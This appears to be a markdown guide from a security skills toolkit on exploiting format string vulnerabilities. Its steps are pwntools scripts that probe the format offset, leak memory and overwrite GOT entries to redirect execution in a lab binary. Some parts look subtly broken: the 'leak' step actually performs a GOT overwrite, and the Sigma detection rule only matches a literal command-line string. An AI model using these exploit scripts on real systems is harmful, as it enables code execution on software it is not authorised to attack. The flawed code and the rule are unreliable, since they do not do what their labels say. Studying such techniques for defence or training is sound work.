<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
---
name: exploiting-format-string-vulnerabilities
description: >-
  Exploit format string vulnerabilities to leak memory, overwrite GOT entries, and achieve arbitrary read/write primitives via printf-family functions.
domain: cybersecurity
subdomain: binary-exploitation
tags:
  - format-string
  - printf
  - got-overwrite
  - arbitrary-write
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1203"]
  cwe: ["CWE-134"]
  tools: ["pwntools", "GEF", "gdb"]
---

# Exploiting Format String Vulnerabilities

## Overview

Exploit format string vulnerabilities to leak memory, overwrite GOT entries, and achieve arbitrary read/write primitives via printf-family functions.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `pwntools with fmtstr module` | Security tooling |
| `GDB with GEF` | Security tooling |
| Target binary with identified vulnerability | Environment requirement |
| Isolated lab environment for testing | Environment requirement |
| Authorization and signed Rules of Engagement (RoE) | Environment requirement |

## Workflow

### Step 1: Identify Format String Offset

```python
from pwn import *

# Send format string probe to find offset
p = process("./vuln")
p.sendline(b"AAAA" + b".%p" * 20)
leak = p.recvline()
# Find where 0x41414141 appears in the output
```

### Step 2: Leak Memory Addresses

```python
from pwn import *

elf = ELF("./vuln")
p = process(elf.path)

# Leak GOT entry for libc address
payload = fmtstr_payload(offset=6, writes={elf.got["printf"]: elf.plt["system"]})
p.sendline(payload)

# Direct parameter access for leaks
p.sendline(b"%7$s" + p64(elf.got["puts"]))
```

### Step 3: Overwrite GOT Entry

```python
from pwn import *

elf = ELF("./vuln")
context.binary = elf

p = process(elf.path)

# Automatic format string exploit
writes = {elf.got["printf"]: elf.symbols["win"]}
payload = fmtstr_payload(6, writes, numbwritten=0, write_size="short")
p.sendline(payload)
p.interactive()
```

## Detection

```yaml
title: Exploiting Format String Vulnerabilities Detection
id: f846c5a2-46ac-4011-be31-26c84cf69068
status: experimental
description: Detects suspicious activity related to exploiting format string vulnerabilities techniques in binary exploitation context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*exploiting*format*"
  condition: selection
level: critical
tags:
  - attack.t1203
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Exploiting Format String Vulnerabilities Detection | windows/process_creation | Sigma rule (critical) |
| ATT&CK Coverage | MITRE ATT&CK | T1203 |

## Verification

- [ ] Format string offset identified
- [ ] Memory leak achieves address disclosure
- [ ] GOT overwrite redirects execution
- [ ] Exploit works with ASLR (via leak + overwrite)

## References

- [pwntools fmtstr](https://docs.pwntools.com/en/stable/fmtstr.html)
- [CWE-134](https://cwe.mitre.org/data/definitions/134.html)
